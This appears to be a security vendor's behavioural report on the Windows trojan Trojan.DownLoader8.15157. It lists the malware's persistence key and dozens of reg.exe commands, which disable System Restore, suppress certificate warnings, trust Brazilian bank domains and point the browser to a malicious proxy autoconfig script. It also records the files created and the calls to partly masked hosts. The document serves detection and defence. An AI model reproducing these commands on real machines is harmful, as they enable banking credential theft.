Trojan.DownLoader8.15157

Technical Information

To ensure autorun and distribution:

Modifies the following registry keys:

[<HKLM>\SOFTWARE\Microsoft\Windows\CurrentVersion\Run] 'Instalador do ActiveX' = '%TEMP%\AxInstSV.exe'

Malicious functions:

To complicate detection of its presence in the operating system,

blocks the following features:

System Restore (SR)

Executes the following:

<SYSTEM32>\find.exe "Internet Explorer\Main"
<SYSTEM32>\reg.exe export HKU %TEMP%\~galery.db
<SYSTEM32>\reg.exe add "HKU\S-1-5-21-2052111302-484763869-725345543-1003\Software\Microsoft\Windows\CurrentVersion\Internet Settings" /v "WarnonBadCertRecving" /t REG_DWORD /d "0x00000000" /f
<SYSTEM32>\find.exe "S-1-5-21"
<SYSTEM32>\attrib.exe -r -a -s -h "%APPDATA%\Mozilla\Firefox\Profiles\cwdgt0y8.default\prefs.js"
<SYSTEM32>\reg.exe add "HKEY_CURRENT_USER\SOFTWARE\Policies\Microsoft\Internet Explorer\Control Panel" /v "AdvancedTab" /t reg_dword /d 00000001 /f
<SYSTEM32>\reg.exe add "HKEY_CURRENT_USER\SOFTWARE\Policies\Microsoft\Internet Explorer\Control Panel" /v "Autoconfig" /t reg_dword /d 00000001 /f
<SYSTEM32>\find.exe "prefs.js"
<SYSTEM32>\reg.exe add "HKEY_CURRENT_USER\SOFTWARE\Policies\Microsoft\Internet Explorer\Control Panel" /v "ResetWebSettings" /t reg_dword /d 00000001 /f
<SYSTEM32>\reg.exe add "HKU\S-1-5-21-2052111302-484763869-725345543-1003\Software\Microsoft\Windows\CurrentVersion\Internet Settings" /v "WarnOnIntranet" /t REG_DWORD /d "0x00000000" /f
<SYSTEM32>\reg.exe add "HKU\S-1-5-21-2052111302-484763869-725345543-1003\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\Domains\com.br\*.real" /v "http" /t REG_DWORD /d "0x00000002" /f
<SYSTEM32>\reg.exe add "HKU\S-1-5-21-2052111302-484763869-725345543-1003\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\Domains\com.br\*.bancodobrasil" /v "http" /t REG_DWORD /d "0x00000002" /f
<SYSTEM32>\reg.exe add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\SystemRestore" /v DisableSR /t REG_DWORD /d 0x00000001 /f
<SYSTEM32>\find.exe /i "java.policy"
<SYSTEM32>\reg.exe add "HKU\S-1-5-21-2052111302-484763869-725345543-1003\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\Domains\gov.br\*.infoseg" /v "http" /t REG_DWORD /d "0x00000002" /f
<SYSTEM32>\reg.exe add "HKU\S-1-5-21-2052111302-484763869-725345543-1003\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\Domains\com.br\*.bb" /v "http" /t REG_DWORD /d "0x00000002" /f
<SYSTEM32>\reg.exe add "HKU\S-1-5-21-2052111302-484763869-725345543-1003\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap" /v "AutoDetect" /t REG_DWORD /d "0x00000000" /f
<SYSTEM32>\reg.exe add "HKU\S-1-5-21-2052111302-484763869-725345543-1003\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\Domains\com.br\*.certisign" /v "http" /t REG_DWORD /d "0x00000002" /f
<SYSTEM32>\reg.exe add "HKU\S-1-5-21-2052111302-484763869-725345543-1003\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\Domains\com.br\*.bancoreal" /v "http" /t REG_DWORD /d "0x00000002" /f
<SYSTEM32>\find.exe /i "5.00.2"
<SYSTEM32>\find.exe /i "6.1.7600"
<SYSTEM32>\reg.exe add "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Internet Settings" /v "AutoConfigUrl" /d "http://11#.#11.111.1/rpcss.js" /f
<SYSTEM32>\reg.exe add "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run" /v "Instalador do ActiveX" /t REG_SZ /d "%TEMP%\AxInstSV.exe"
<SYSTEM32>\find.exe /i "6.0.6"
<SYSTEM32>\ping.exe -l 1 -n 1 pnt.sexothelove.com
<SYSTEM32>\cmd.exe /c ""%TEMP%\temp6.bat" > NUL"
<SYSTEM32>\find.exe /i "5.1.2"
<SYSTEM32>\find.exe "TTL"
<SYSTEM32>\reg.exe add "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Internet Settings" /v "EnableHttp1_1" /t reg_dword /d 00000001 /f
<SYSTEM32>\reg.exe add "HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Internet Explorer\Control Panel" /v "Autoconfig" /t reg_dword /d 00000001 /f
<SYSTEM32>\reg.exe add "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Internet Settings" /v "ProxyHttp1.1" /t reg_dword /d 00000000 /f
<SYSTEM32>\reg.exe add "HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Internet Explorer\Control Panel" /v "ResetWebSettings" /t reg_dword /d 00000001 /f
<SYSTEM32>\reg.exe add "HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Internet Explorer\Control Panel" /v "AdvancedTab" /t reg_dword /d 00000001 /f
<SYSTEM32>\reg.exe add "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Internet Settings" /v "ProxyEnable" /t reg_dword /d 00000000 /f
<SYSTEM32>\reg.exe add "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Internet Settings" /v "ProxyHttp1.1" /t reg_dword /d 00000000 /f
<SYSTEM32>\reg.exe add "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Internet Settings" /v "ProxyEnable" /t reg_dword /d 00000000 /f
<SYSTEM32>\reg.exe add "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Internet Settings" /v "EnableHttp1_1" /t reg_dword /d 00000001 /f
<SYSTEM32>\reg.exe add "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Internet Settings" /v "AutoConfigUrl" /d "http://11#.#11.111.1/rpcss.js" /f

Modifies settings of Windows Internet Explorer:

[<HKCU>\Software\Microsoft\Windows\CurrentVersion\Internet Settings] 'WarnonBadCertRecving' = '00000000'

Modifies file system :

Creates the following files:

%HOMEPATH%\Local Settings\Temporary Internet Files\Content.IE5\KHMHGZ4F\acesso[1].php
%TEMP%\~galery.db
%TEMP%\~i.db
%TEMP%\temp6.bat
%TEMP%\brk.tmp
%TEMP%\mdkm.db

Deletes the following files:

%TEMP%\temp6.bat

Network activity:

Connects to:

've#.##directon.com':80
'localhost':1037

TCP:

HTTP GET requests:

ve#.##directon.com/acesso.php?c=#########################

UDP:

DNS ASK ve#.##directon.com
DNS ASK pn#.##xothelove.com

Miscellaneous:

Searches for the following windows:

ClassName: 'MS_AutodialMonitor' WindowName: ''
ClassName: 'MS_WebcheckMonitor' WindowName: ''
ClassName: '' WindowName: ''
ClassName: 'Shell_TrayWnd' WindowName: ''

Modifies value of AutoConfigURL parameter

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